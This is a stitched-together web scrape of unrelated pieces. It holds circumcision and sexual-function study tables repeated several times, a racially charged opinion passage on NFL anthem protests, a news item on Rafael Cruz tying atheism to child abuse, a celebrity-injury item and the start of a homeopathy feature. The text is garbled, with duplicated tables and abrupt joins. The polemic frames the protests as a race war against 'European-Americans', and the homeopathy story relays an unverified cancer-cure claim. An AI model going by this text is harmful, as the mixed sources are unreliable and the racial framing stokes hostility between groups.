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367 (21) 1116 (63) 1 (ref) 1 (ref) 296 (17) 1 (ref) 1 (ref) Circumcised 21 (21) 54 (55) 0.85 (0.51–1.43) 0.73 (0.42–1.27) 24 (24) 1.46 (0.78–2.72) 1.29 (0.66–2.53) Unknowne 5 (17) 14 (47) 11 (37) Premature ejaculation Uncircumcised 670 (39) 890 (52) 1 (ref) 1 (ref) 162 (9) 1 (ref) 1 (ref) Circumcised 38 (41) 44 (47) 0.86 (0.55–1.35) 0.86 (0.52–1.41) 11 (12) 1.20 (0.60–2.39) 1.23 (0.58–2.60) Unknowne 4 (18) 13 (59) 5 (23) Erectile difficulties Uncircumcised 1062 (60) 572 (33) 1 (ref) 1 (ref) 125 (7) 1 (ref) 1 (ref) Circumcised 59 (61) 28 (29) 0.93 (0.57–1.52) 0.92 (0.54–1.58) 10 (10) 1.57 (0.72–3.45) 1.46 (0.62–3.46) Unknowne 9 (31) 15 (52) 5 (17) Orgasm difficulties Uncircumcised 1094 (65) 537 (32) 1 (ref) 1 (ref) 63 (4) 1 (ref) 1 (ref) Circumcised 57 (60) 28 (29) 1.05 (0.65–1.68) 0.94 (0.55–1.61) 10 (11) 3.21 (1.55–6.66) 3.26 (1.42–7.47) Unknowne 12 (52) 10 (43) 1 (4) No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised 367 (21) 1116 (63) 1 (ref) 1 (ref) 296 (17) 1 (ref) 1 (ref) Circumcised 21 (21) 54 (55) 0.85 (0.51–1.43) 0.73 (0.42–1.27) 24 (24) 1.46 (0.78–2.72) 1.29 (0.66–2.53) Unknowne 5 (17) 14 (47) 11 (37) Premature ejaculation Uncircumcised 670 (39) 890 (52) 1 (ref) 1 (ref) 162 (9) 1 (ref) 1 (ref) Circumcised 38 (41) 44 (47) 0.86 (0.55–1.35) 0.86 (0.52–1.41) 11 (12) 1.20 (0.60–2.39) 1.23 (0.58–2.60) Unknowne 4 (18) 13 (59) 5 (23) Erectile difficulties Uncircumcised 1062 (60) 572 (33) 1 (ref) 1 (ref) 125 (7) 1 (ref) 1 (ref) Circumcised 59 (61) 28 (29) 0.93 (0.57–1.52) 0.92 (0.54–1.58) 10 (10) 1.57 (0.72–3.45) 1.46 (0.62–3.46) Unknowne 9 (31) 15 (52) 5 (17) Orgasm difficulties Uncircumcised 1094 (65) 537 (32) 1 (ref) 1 (ref) 63 (4) 1 (ref) 1 (ref) Circumcised 57 (60) 28 (29) 1.05 (0.65–1.68) 0.94 (0.55–1.61) 10 (11) 3.21 (1.55–6.66) 3.26 (1.42–7.47) Unknowne 12 (52) 10 (43) 1 (4) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Dyspareunia Uncircumcised 1543 (91) 152 (9) 1 (ref) 1 (ref) Circumcised 85 (90) 9 (10) 1.07 (0.53–2.18) 1.31 (0.61–2.83) Unknowne 17 (77) 5 (23) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Dyspareunia Uncircumcised 1543 (91) 152 (9) 1 (ref) 1 (ref) Circumcised 85 (90) 9 (10) 1.07 (0.53–2.18) 1.31 (0.61–2.83) Unknowne 17 (77) 5 (23) View Large
Table 4 No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised 367 (21) 1116 (63) 1 (ref) 1 (ref) 296 (17) 1 (ref) 1 (ref) Circumcised 21 (21) 54 (55) 0.85 (0.51–1.43) 0.73 (0.42–1.27) 24 (24) 1.46 (0.78–2.72) 1.29 (0.66–2.53) Unknowne 5 (17) 14 (47) 11 (37) Premature ejaculation Uncircumcised 670 (39) 890 (52) 1 (ref) 1 (ref) 162 (9) 1 (ref) 1 (ref) Circumcised 38 (41) 44 (47) 0.86 (0.55–1.35) 0.86 (0.52–1.41) 11 (12) 1.20 (0.60–2.39) 1.23 (0.58–2.60) Unknowne 4 (18) 13 (59) 5 (23) Erectile difficulties Uncircumcised 1062 (60) 572 (33) 1 (ref) 1 (ref) 125 (7) 1 (ref) 1 (ref) Circumcised 59 (61) 28 (29) 0.93 (0.57–1.52) 0.92 (0.54–1.58) 10 (10) 1.57 (0.72–3.45) 1.46 (0.62–3.46) Unknowne 9 (31) 15 (52) 5 (17) Orgasm difficulties Uncircumcised 1094 (65) 537 (32) 1 (ref) 1 (ref) 63 (4) 1 (ref) 1 (ref) Circumcised 57 (60) 28 (29) 1.05 (0.65–1.68) 0.94 (0.55–1.61) 10 (11) 3.21 (1.55–6.66) 3.26 (1.42–7.47) Unknowne 12 (52) 10 (43) 1 (4) No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised 367 (21) 1116 (63) 1 (ref) 1 (ref) 296 (17) 1 (ref) 1 (ref) Circumcised 21 (21) 54 (55) 0.85 (0.51–1.43) 0.73 (0.42–1.27) 24 (24) 1.46 (0.78–2.72) 1.29 (0.66–2.53) Unknowne 5 (17) 14 (47) 11 (37) Premature ejaculation Uncircumcised 670 (39) 890 (52) 1 (ref) 1 (ref) 162 (9) 1 (ref) 1 (ref) Circumcised 38 (41) 44 (47) 0.86 (0.55–1.35) 0.86 (0.52–1.41) 11 (12) 1.20 (0.60–2.39) 1.23 (0.58–2.60) Unknowne 4 (18) 13 (59) 5 (23) Erectile difficulties Uncircumcised 1062 (60) 572 (33) 1 (ref) 1 (ref) 125 (7) 1 (ref) 1 (ref) Circumcised 59 (61) 28 (29) 0.93 (0.57–1.52) 0.92 (0.54–1.58) 10 (10) 1.57 (0.72–3.45) 1.46 (0.62–3.46) Unknowne 9 (31) 15 (52) 5 (17) Orgasm difficulties Uncircumcised 1094 (65) 537 (32) 1 (ref) 1 (ref) 63 (4) 1 (ref) 1 (ref) Circumcised 57 (60) 28 (29) 1.05 (0.65–1.68) 0.94 (0.55–1.61) 10 (11) 3.21 (1.55–6.66) 3.26 (1.42–7.47) Unknowne 12 (52) 10 (43) 1 (4) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Dyspareunia Uncircumcised 1543 (91) 152 (9) 1 (ref) 1 (ref) Circumcised 85 (90) 9 (10) 1.07 (0.53–2.18) 1.31 (0.61–2.83) Unknowne 17 (77) 5 (23) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Dyspareunia Uncircumcised 1543 (91) 152 (9) 1 (ref) 1 (ref) Circumcised 85 (90) 9 (10) 1.07 (0.53–2.18) 1.31 (0.61–2.83) Unknowne 17 (77) 5 (23) View Large
Women
Of the 2979 women, 120 (4%) had never had sexual intercourse. Another 322 women (11%) had no spouse, and 303 (10%) either did not know or provided no information about their spouse’s circumcision status. Table 1 shows the background characteristics of the 2234 sexually experienced women with a spouse stratified by the reported circumcision status of the spouse. Women with circumcised and uncircumcised spouses did not differ markedly with respect to age, marital status or household income but, as seen for men, women with circumcised spouses were more likely to have a non-Danish background and to have attended school for ≥12 years. However, while fewer women with circumcised (87%) than uncircumcised (94%) spouses were members of a religious community, seven of eight women who were Moslems or Jews (88%) had circumcised spouses.
General sexual experiences
As for men, the median age at first sexual intercourse was 17 years in both groups (Table 2). Median number of sex partners after age 15 years was 2–3 in women with uncircumcised spouses and 4–9 in women with circumcised spouses. Having a good sex life was ‘important’, ‘very important’ or ‘extremely important’ to 90% of women with circumcised spouses and 87% of women with uncircumcised spouses. Similar proportions of women with circumcised (10%) and uncircumcised (11%) spouses reported no sexual activity with a partner in the last year.
All subsequent analyses were restricted to 1982 sexually active women who reported their spouse’s circumcision status to be either circumcised (n = 75, 4%) or uncircumcised (n = 1907, 96%). Age at circumcision in the spouse was known by 71 women, with 20 (28%) reporting circumcision to have occurred before age 6 months. The median frequency of sexual activity in the last year was 1–2 times per week in both groups.
Difficulties associated with sexual desire and fulfilment of sexual needs
The majority of women with circumcised spouses (92%) and of women with uncircumcised spouses (84%), reported episodes of low or lacking sexual desire in the last year (OR adj = 2.65; 95% CI 0.80–8.73) (Table 3). Women with circumcised spouses (38%) more often than women with uncircumcised spouses (28%) reported that their sexual needs were incompletely fulfilled (OR adj = 2.09; 95% CI 1.05–4.16).
Sexual function difficulties
Sexual function difficulties were consistently more often reported by women with circumcised than uncircumcised spouses (Table 5). Sexual function difficulties overall, orgasm difficulties, lubrication insufficiency, dyspareunia and vaginismus were reported to have occurred either occasionally or frequently in the last year by 90, 77, 67, 46 and 9% of women with circumcised spouses as compared with 80, 69, 57, 27 and 4%, respectively, of women with uncircumcised spouses. Most notably, frequent sexual function difficulties overall (31 vs 22%, OR adj = 3.26; 95% CI 1.15–9.27), frequent orgasm difficulties (19 vs 14%, OR adj = 2.66; 95% CI 1.07–6.66) and frequent episodes of dyspareunia (12 vs 4%, OR adj = 8.45; 95% CI 3.01–23.74) were more common among women with circumcised spouses.
Table 5 No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised spouse 357 (20) 1021 (58) 1 (ref) 1 (ref) 384 (22) 1 (ref) 1 (ref) Circumcised spouse 7 (10) 42 (59) 2.09 (0.93–4.71) 1.92 (0.73–5.09) 22 (31) 3.01 (1.26–7.19) 3.26 (1.15–9.27) Unknowne 11 (28) 19 (49) 9 (23) Orgasm difficulties Uncircumcised spouse 536 (31) 924 (54) 1 (ref) 1 (ref) 246 (14) 1 (ref) 1 (ref) Circumcised spouse 16 (23) 40 (58) 1.47 (0.82–2.66) 1.76 (0.83–3.70) 13 (19) 1.81 (0.85–3.85) 2.66 (1.07–6.66) Unknowne 11 (31) 22 (61) 3 (8) Lubrication insufficiency Uncircumcised spouse 744 (43) 772 (45) 1 (ref) 1 (ref) 202 (12) 1 (ref) 1 (ref) Circumcised spouse 23 (33) 36 (52) 1.53 (0.89–2.62) 1.72 (0.89–3.30) 10 (14) 1.69 (0.78–3.68) 2.03 (0.80–5.18) Unknowne 13 (38) 16 (47) 5 (15) Dyspareunia Uncircumcised spouse 1225 (73) 402 (24) 1 (ref) 1 (ref) 56 (3) 1 (ref) 1 (ref) Circumcised spouse 37 (54) 23 (34) 1.86 (1.08–3.19) 1.66 (0.84–3.29) 8 (12) 4.77 (2.10–10.85) 8.45 (3.01–23.74) Unknowne 24 (80) 4 (13) 2 (7) No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised spouse 357 (20) 1021 (58) 1 (ref) 1 (ref) 384 (22) 1 (ref) 1 (ref) Circumcised spouse 7 (10) 42 (59) 2.09 (0.93–4.71) 1.92 (0.73–5.09) 22 (31) 3.01 (1.26–7.19) 3.26 (1.15–9.27) Unknowne 11 (28) 19 (49) 9 (23) Orgasm difficulties Uncircumcised spouse 536 (31) 924 (54) 1 (ref) 1 (ref) 246 (14) 1 (ref) 1 (ref) Circumcised spouse 16 (23) 40 (58) 1.47 (0.82–2.66) 1.76 (0.83–3.70) 13 (19) 1.81 (0.85–3.85) 2.66 (1.07–6.66) Unknowne 11 (31) 22 (61) 3 (8) Lubrication insufficiency Uncircumcised spouse 744 (43) 772 (45) 1 (ref) 1 (ref) 202 (12) 1 (ref) 1 (ref) Circumcised spouse 23 (33) 36 (52) 1.53 (0.89–2.62) 1.72 (0.89–3.30) 10 (14) 1.69 (0.78–3.68) 2.03 (0.80–5.18) Unknowne 13 (38) 16 (47) 5 (15) Dyspareunia Uncircumcised spouse 1225 (73) 402 (24) 1 (ref) 1 (ref) 56 (3) 1 (ref) 1 (ref) Circumcised spouse 37 (54) 23 (34) 1.86 (1.08–3.19) 1.66 (0.84–3.29) 8 (12) 4.77 (2.10–10.85) 8.45 (3.01–23.74) Unknowne 24 (80) 4 (13) 2 (7) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Vaginismus Uncircumcised spouse 1600 (96) 75 (4) 1 (ref) 1 (ref) Circumcised spouse 59 (91) 6 (9) 2.19 (0.91–5.25) 2.06 (0.59–7.13) Unknowne 26 (90) 3 (10) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Vaginismus Uncircumcised spouse 1600 (96) 75 (4) 1 (ref) 1 (ref) Circumcised spouse 59 (91) 6 (9) 2.19 (0.91–5.25) 2.06 (0.59–7.13) Unknowne 26 (90) 3 (10) View Large
Table 5 No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised spouse 357 (20) 1021 (58) 1 (ref) 1 (ref) 384 (22) 1 (ref) 1 (ref) Circumcised spouse 7 (10) 42 (59) 2.09 (0.93–4.71) 1.92 (0.73–5.09) 22 (31) 3.01 (1.26–7.19) 3.26 (1.15–9.27) Unknowne 11 (28) 19 (49) 9 (23) Orgasm difficulties Uncircumcised spouse 536 (31) 924 (54) 1 (ref) 1 (ref) 246 (14) 1 (ref) 1 (ref) Circumcised spouse 16 (23) 40 (58) 1.47 (0.82–2.66) 1.76 (0.83–3.70) 13 (19) 1.81 (0.85–3.85) 2.66 (1.07–6.66) Unknowne 11 (31) 22 (61) 3 (8) Lubrication insufficiency Uncircumcised spouse 744 (43) 772 (45) 1 (ref) 1 (ref) 202 (12) 1 (ref) 1 (ref) Circumcised spouse 23 (33) 36 (52) 1.53 (0.89–2.62) 1.72 (0.89–3.30) 10 (14) 1.69 (0.78–3.68) 2.03 (0.80–5.18) Unknowne 13 (38) 16 (47) 5 (15) Dyspareunia Uncircumcised spouse 1225 (73) 402 (24) 1 (ref) 1 (ref) 56 (3) 1 (ref) 1 (ref) Circumcised spouse 37 (54) 23 (34) 1.86 (1.08–3.19) 1.66 (0.84–3.29) 8 (12) 4.77 (2.10–10.85) 8.45 (3.01–23.74) Unknowne 24 (80) 4 (13) 2 (7) No difficulties Occasional difficultiesa Frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) n (%) ORb (95% CI) ORc adj (95% CI) Sexual function difficulties, overalld Uncircumcised spouse 357 (20) 1021 (58) 1 (ref) 1 (ref) 384 (22) 1 (ref) 1 (ref) Circumcised spouse 7 (10) 42 (59) 2.09 (0.93–4.71) 1.92 (0.73–5.09) 22 (31) 3.01 (1.26–7.19) 3.26 (1.15–9.27) Unknowne 11 (28) 19 (49) 9 (23) Orgasm difficulties Uncircumcised spouse 536 (31) 924 (54) 1 (ref) 1 (ref) 246 (14) 1 (ref) 1 (ref) Circumcised spouse 16 (23) 40 (58) 1.47 (0.82–2.66) 1.76 (0.83–3.70) 13 (19) 1.81 (0.85–3.85) 2.66 (1.07–6.66) Unknowne 11 (31) 22 (61) 3 (8) Lubrication insufficiency Uncircumcised spouse 744 (43) 772 (45) 1 (ref) 1 (ref) 202 (12) 1 (ref) 1 (ref) Circumcised spouse 23 (33) 36 (52) 1.53 (0.89–2.62) 1.72 (0.89–3.30) 10 (14) 1.69 (0.78–3.68) 2.03 (0.80–5.18) Unknowne 13 (38) 16 (47) 5 (15) Dyspareunia Uncircumcised spouse 1225 (73) 402 (24) 1 (ref) 1 (ref) 56 (3) 1 (ref) 1 (ref) Circumcised spouse 37 (54) 23 (34) 1.86 (1.08–3.19) 1.66 (0.84–3.29) 8 (12) 4.77 (2.10–10.85) 8.45 (3.01–23.74) Unknowne 24 (80) 4 (13) 2 (7) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Vaginismus Uncircumcised spouse 1600 (96) 75 (4) 1 (ref) 1 (ref) Circumcised spouse 59 (91) 6 (9) 2.19 (0.91–5.25) 2.06 (0.59–7.13) Unknowne 26 (90) 3 (10) No difficulties Occasional or frequent difficultiesa n (%) n (%) ORb (95% CI) ORc adj (95% CI) Vaginismus Uncircumcised spouse 1600 (96) 75 (4) 1 (ref) 1 (ref) Circumcised spouse 59 (91) 6 (9) 2.19 (0.91–5.25) 2.06 (0.59–7.13) Unknowne 26 (90) 3 (10) View Large
Robustness analyses
The main findings in Tables 3–5 were confirmed in 16 robustness analyses (Table 6). Specifically, all showed that circumcised men had around three times greater odds of frequent orgasm difficulties than uncircumcised men. This was the case even in two rather extreme scenarios in which we forced men with unknown circumcision status to produce the most favourable association with circumcision by allocating all such men with sexual difficulties to the uncircumcised group and all those without sexual difficulties to the circumcised group (robustness analysis 5) or by assuming that all men with unknown circumcision status were circumcised (robustness analysis 7). Similarly, women with circumcised spouses had consistently at least four times greater odds of frequent dyspareunia than women with uncircumcised spouses. Additionally, in the analysis restricted to non-Jews and non-Moslems, women with circumcised spouses more often reported episodes of vaginismus (age-adjusted OR = 2.55; 95% CI 1.06–6.18).
Table 6 Men Women Frequent orgasm difficulties Frequent sexual function difficulties, overall Frequent orgasm difficulties Frequent difficulties with dyspareunia Incomplete sexual needs fulfilment Main analyses (from Tables 3–5) 3.26 (1.42–7.47) 3.26 (1.15–9.27) 2.66 (1.07–6.66) 8.45 (3.01–23.74) 2.09 (1.05–4.16) Univariate analyses 3.21 (1.55–6.66) 3.01 (1.26–7.19) 1.81 (0.85–3.85) 4.77 (2.10–10.85) 1.76 (1.08–2.86) Data restriction 1. Danish backgrounda 3.53 (1.53–8.14) 3.39 (1.19–9.70) 3.11 (1.22–7.97) 8.48 (3.01–23.90) 2.16 (1.05–4.44) 2. Non-Jewish, non-Moslem backgroundb 2.89 (1.21–6.92) 3.28 (1.15–9.40) 3.37 (1.28–8.90) 8.77 (3.09–24.92) 2.05 (1.00–4.18) 3. Age interval 20–69 yearsc 2.60 (1.02–6.63) 3.17 (1.11–9.05) 3.06 (1.20–7.80) 8.07 (2.88–22.59) 2.07 (1.03–4.14) Assumptions about unknown circumcision status 4. Unknown circumcision status, 'worst case'd 3.47 (1.57–7.67) 3.75 (1.37–10.26) 2.48 (1.02–6.01) 8.01 (2.91–22.05) 4.20 (2.35–7.52) 5. Unknown circumcision status, 'best case'e 2.53 (1.12–5.72) 1.51 (0.66–3.49) 1.69 (0.73–3.91) 4.25 (1.62–11.18) 0.95 (0.51–1.75) 6. Unknown circumcision status assumed to be uncircumcisedf 3.27 (1.43–7.52) 3.27 (1.15–9.31) 2.67 (1.07–6.68) 8.57 (3.05–24.08) 2.02 (1.02–4.01) 7. Unknown circumcision status assumed to be circumcisedg 2.72 (1.25–5.93) 1.79 (0.81–3.94) 1.60 (0.71–3.60) 4.17 (1.60–10.91) 2.06 (1.24–3.42) Confounder selection 8. Plus adj. for current depression or anxietyh 3.01 (1.30–6.96) 3.37 (1.18–9.61) 2.71 (1.08–6.78) 9.00 (3.19–25.35) 2.12 (1.07–4.21) 9. Plus adj. for chronic depression or anxietyi 3.23 (1.40–7.43) 3.19 (1.12–9.10) 2.65 (1.06–6.62) 8.21 (2.92–23.06) 2.07 (1.04–4.11) 10. Plus adj. for current hypertensionj 3.40 (1.48–7.84) 3.27 (1.15–9.32) 2.69 (1.08–6.71) 8.34 (2.95–23.56) 2.11 (1.06–4.22) 11. Plus adj. for current diabetesk 3.43 (1.49–7.90) – – – – 12. Plus adj. for smoker statusl 3.34 (1.45–7.68) 3.30 (1.16–9.42) 2.74 (1.09–6.89) 8.36 (2.95–23.74) 2.06 (1.03–4.12) 13. Plus adj. for problems paying bills last yearm 3.26 (1.42–7.48) 3.30 (1.16–9.39) 2.70 (1.08–6.76) 8.28 (2.96–23.21) 2.12 (1.06–4.23) 14. Minus adj. for frequency of sexual activity with a partnern 3.42 (1.50–7.80) 3.03 (1.08–8.56) 2.33 (0.96–5.66) 7.64 (2.78–21.01) 1.96 (1.10–3.52) 15. Minus adj. for number of sex partners since age 15 yearso 3.14 (1.37–7.19) 3.26 (1.15–9.27) 2.67 (1.07–6.66) 8.17 (2.92–22.92) 2.10 (1.06–4.18) 16. Minus adj. for age at first sexual intercoursep 3.44 (1.55–7.61) 2.66 (1.00–7.09) 2.45 (1.00–6.00) 7.45 (2.69–20.65) 2.06 (1.04–4.09) Men Women Frequent orgasm difficulties Frequent sexual function difficulties, overall Frequent orgasm difficulties Frequent difficulties with dyspareunia Incomplete sexual needs fulfilment Main analyses (from Tables 3–5) 3.26 (1.42–7.47) 3.26 (1.15–9.27) 2.66 (1.07–6.66) 8.45 (3.01–23.74) 2.09 (1.05–4.16) Univariate analyses 3.21 (1.55–6.66) 3.01 (1.26–7.19) 1.81 (0.85–3.85) 4.77 (2.10–10.85) 1.76 (1.08–2.86) Data restriction 1. Danish backgrounda 3.53 (1.53–8.14) 3.39 (1.19–9.70) 3.11 (1.22–7.97) 8.48 (3.01–23.90) 2.16 (1.05–4.44) 2. Non-Jewish, non-Moslem backgroundb 2.89 (1.21–6.92) 3.28 (1 |
and people of color.” Kaepernick subsequently wore socks portraying police as pigs and compared officers to “runaway slave patrols”. [NFL’s Kaepernick Compares Cops To Fugitive Slave Patrols, Fox News, June 18, 2017]He also donated a group named after cop-killer Assata Shakur. [Colin Kaepernick donated $25,000 to group honoring convicted cop-killer, by Valerie Richardson, Washington Times, September 28, 2017]
Notwithstanding this, Leftists are campaigning aggressively for Kaepernick to be rehired by the NFL and Kaepernick himself is accusing owners of collusion against him. Indeed, some Main stream Media supporters are suggesting the reason the NFL’s ratings are down is because he’s no longer in the league, thus preparing the way for him to be rehired and given a hero’s welcome [Does the NFL Need Kaepernick for ratings? Week 9 Quarterback Play Sucked, by Teddy Cutler, Newsweek, November 6, 2017].
Needless to say, this would only spark more opposition from the NFL’s mostly white fans—most likely led by President Trump himself. Trump already called for protesting players to be fired, meaning that if Kaepernick returned, the Commander-in-Chief would likely interpret it is a personal attack. [Read President Trump's NFL Speech on National Anthem Protests, by Aric Jenkins, Time, September 23, 2017] The President is also likely to be triggered by Kaepernick’s reported $1 million book deal. [Colin Kaepernick reportedly lands $1 million book deal, Fox News, October 25, 2017]
The NFL is caught because both sides are hardening their positions. For example, Vice President Mike Pence already drew national headlines when he simply walked out of an NFL game after the anthem was disrespected in early October. This lead to an incredible meltdown from Leftist sportswriters [Pence walks out of an NFL game and sports journalists lose their collective minds, by Peter Heck, Fox News, October 9, 2017]. A black personality on ESPN slammed the President as a “white supremacist” [ESPN’s Jemele Hill stands by her statement that Trump is a white supremacist, by Erik Wimple, Washington Post, September 15, 2017]. Not surprisingly, ESPN’s ratings are also down, though the Main Stream Media is demanding its readers not associate this with the network’s politicization [Don’t Blame Jemele Hill For ESPN’s Ratings Problem, by Madeline Berg, Forbes, October 10, 2017].
And the racial outbursts from black players are becoming more explicit, with defensive end Michael Bennett raising a black power last month to “show Black Pride” [Michael Bennett's NFL black power salute could change sports protest, The Guardian, by Latria Graham, September 19, 2017]. Remember how Tom Brady was lambasted by the MSM after a photographer snapped a “Make America Great Again” hat in his locker?
Many white people have based their very identity on collegiate and professional sports teams, allowing a thrilling victory or demoralizing defeat to influence their moods for days. The National Anthem protests are a kind of shock therapy to break European-Americans away from the “opiate of America.”
Just like America, the NFL is falling apart into warring tribes. There’s even a parallel with the war over monuments. At the very time statues to Confederate generals, Christopher Columbus or the Founding Fathers are being vandalized, many fans are furious over a statue of retired NFL linebacker Ray Lewis. It received ever protection after a petition was signed by 36,000 people calling for its removal because Lewis joined current players in refusing to stand during the National Anthem. [Extra security placed near Ray Lewis statue after petition urges its removal, by Jeff Barker, Baltimore Sun, September 27, 2017]
Not surprisingly, many NFL sponsors like Papa Johns are becoming anxious, trying to toe the line between black and white customers [Papa John’s and other brands are grilling the NFL over National Anthem protests – here’s how all of the league’s sponsors have responded, by Kate Taylor and Dennis Green, Business Insider, November 7, 2017]. But they will not be able to do this forever: the two constituencies they are trying to appease have less and less in common.
Showing respect to the flag and to the National Anthem is probably the lowest standard for civic nationalism that could exist. But it is something America of which is no longer capable. And even a football game is now a battleground.
What’s different this time is that thanks to President Trump, the European-Americans who have been subsidizing the people who hate them are finally fighting back in this Culture War.
Paul Kersey[Email him] is the author of the blog SBPDL, and has published the books SBPDL Year One, Hollywood in Blackface and Escape From Detroit, Opiate of America: College Football in Black and White and Second City Confidential: The Black Experience in Chicagoland. His latest book is The Tragic City: Birmingham 1963-2013.In an appearance before a gathering of OK2A, an Oklahoma Second Amendment advocacy group, Rafael Cruz, father of freshman Sen. Ted Cruz (R-TX) said that atheism leads to sexual abuse of children.
In his talk, which took place earlier this month, the elder Cruz railed against atheism and secular humanism, which he said are two of the main ills facing our society.
“Let’s look, for example, at the behavioral consequences of these two foundations,” Cruz said to the group. “Well, if there is nothing, if there is no God, then we are ruled by our instincts.”
“There is no moral absolute, which means we operate by situational ethics,” he said, “which unfortunately is something being taught in every high school in America.”
Situational ethics, explained Cruz, maintain “that right and wrong depends on the situation. In other words, it’s a moral relativism.”
Because atheists believe in doing whatever they want, and if there are no moral absolutes, then there will be nothing but moral anarchy, he said.
“Do we know any politicians that have done that?” he asked.
“Hitler!” volunteered Larry Pratt of the organization Gun Owners of America, who was in the audience.
“Oh, we don’t have to go that far, Larry,” said Cruz. “Just go to Washington. Just go to the White House.”
“Of course, this leads us, when there are no moral absolutes,” he went on, “leads us to sexual immorality, leads us to sexual abuse, leads us to perversion and, of course, no hope. No hope!”
Watch the video, embedded below via YouTube:
Watch Cruz’s full presentation here:'X-Files' Gillian Anderson, David Duchovny reunited, with matching injuries
CLOSE X-Files stars David Duchovny and Gillian Anderson showed off their injuries at the Webby Awards Monday night in New York City, and earlier in the day at Fox's upfronts event. USA TODAY
Mulder and Scully may be experts at sleuthing out alien technologies — but staying healthy, not so much.
X-Files stars Gillian Anderson and David Duchovny showed off their respective injuries at Monday night's Webby Awards in New York City. With his arm in a sling, Duchovny awarded the evening's best actress trophy to Anderson, who needed crutches to walk to the podium.
"This is sad," Duchovny joked as he and Anderson embraced onstage.
Gillian Anderson has a broken foot and David Duchovny's arm is in a sling SOMEONE HELP THEM pic.twitter.com/f0bcweipjV — Maeve McDermott (@maeve_mcdermott) May 16, 2017
Before their Webbys date, the duo reunited earlier in the day at Fox's upfronts event.
Anderson ditched her crutches to pose with Duchovny during Monday's events, but used them for assistance on the red carpet at Sunday's BAFTA Television Awards in London.
Leave it to Gillian Anderson to make crutches look like red-carpet accessories. (Photo11: Karwai Tang, WireImage)
While Duchovny hasn't offered an explanation for his sling, Anderson told the New Zealand Herald that she hurt her foot in a pool-related accident.
"I fractured my foot jumping into a swimming pool that was too shallow in Costa Rica," she said. "It could have been a lot worse."
Anderson also joked about her injury on Instagram, posting a shot of her boot. "My Stormtrooper look," she wrote.
My Stormtrooper look. 🛰 A post shared by Gillian Anderson (@gilliana) on May 3, 2017 at 1:11pm PDT
Hopefully, the two stars will be in better health by this summer, when the X-Files begins filming its new 10-episode season, slated for a 2018 premiere.
Read or Share this story: https://usat.ly/2qlZLEjOver and over again, the doctor told her she was being silly. But Gemma knew there was something wrong. She’d fall asleep on the sofa and couldn’t be woken. She’d see strange shapes and colours. She was having difficulties remembering things in the office. And yet every time she saw the doctor, he would say the same thing: you’re just a young girl, panicking.
Eventually, they found tumours on her brain, and they grew and spread. They tried chemotherapy. She felt sick. She gained four stone in four weeks. Her hair fell out over one weekend. She had to lift her eyelids with her finger to see. She had a wheelchair, a stick. Her bowels stopped moving. Her sight was so bad she couldn’t watch television or read. So she just lay there.
Then, in October 1995, the oncologist visited her hospital bed. “These are your options,” he said. “You can stay here, you can go to a hospice or you can go home.” Gemma was groggy; confused. She thought, well, let me think: sick people go to hospital, dying people go to a hospice, fit people go home.
“I’ll take home.” “Well,” said the doctor. “You’ve got those little pills and you’ve got Him up there. Make sure you have a happy Christmas.” It took Gemma a while to realise that this was her doctor’s way of telling her the cancer was, in fact, terminal.
Despite her dark prognosis, she carried on taking the “little pills” her oncologist had mentioned with a gently patronising smile. They’d been given to her by a homeopath recommended by her sister-in-law – she went out of politeness, really. But the more she took, the better she felt. At Christmas, her eyelids opened up. Her sight returned. A year later, she saw her oncologist. He wrote in his notes: “Gemma has made a remarkable recovery. Her case will remain a mystery.” But it wasn’t a mystery to Gemma, who has been telling me her story in the front room of her modest Sutton Coldfield house over the past hour. Gemma Hoefkens believes those little homeopathic pills had not only saved her life but changed it. She’s now a practising homeopathist who claims not to have been to the doctor for years.
Available on the NHS and for sale in Boots, homeopathy is an industry worth £40 million a year in the UK alone (and $1.4billion in the United States). And yet Gemma’s doctor wasn’t alone in his reservations. Throughout its weird and defiant 230-year history, homeopathy has attracted the fury of doubters all the way from Charles Darwin to Richard Dawkins. Over the past decade, the campaign against homeopaths has accelerated to such a pitch that questions have been asked in Parliament. In February 2010, the House of Commons Science and Technology Committee recommended the NHS cease funding the discipline, calling the £4 million that’s spent annually a “waste”. Tony Blair has even got involved, saying “my advice to the scientific community would be [don’t] bother fighting a great battle over homeopathy”. But they do and they are.
That same February, Gemma told her story on BBC Radio Five Live. Someone posted the interview on YouTube. On the video, every time Gemma speaks, a yellow rubber duck appears with the word “Quack!” flashing out of its mouth. At the end of the video, a photograph of Gemma herself appears. It says, “DO NOT BE FOOLED. HOMEOPATHY IS A CROCK OF S---”.
I unfold a print out of Gemma with a yellow plastic duck over her face. She scowls towards the paper. “How professional are they?” she says. “Who are these people who are so unprofessional? You know, who are they?” I decided to find out.
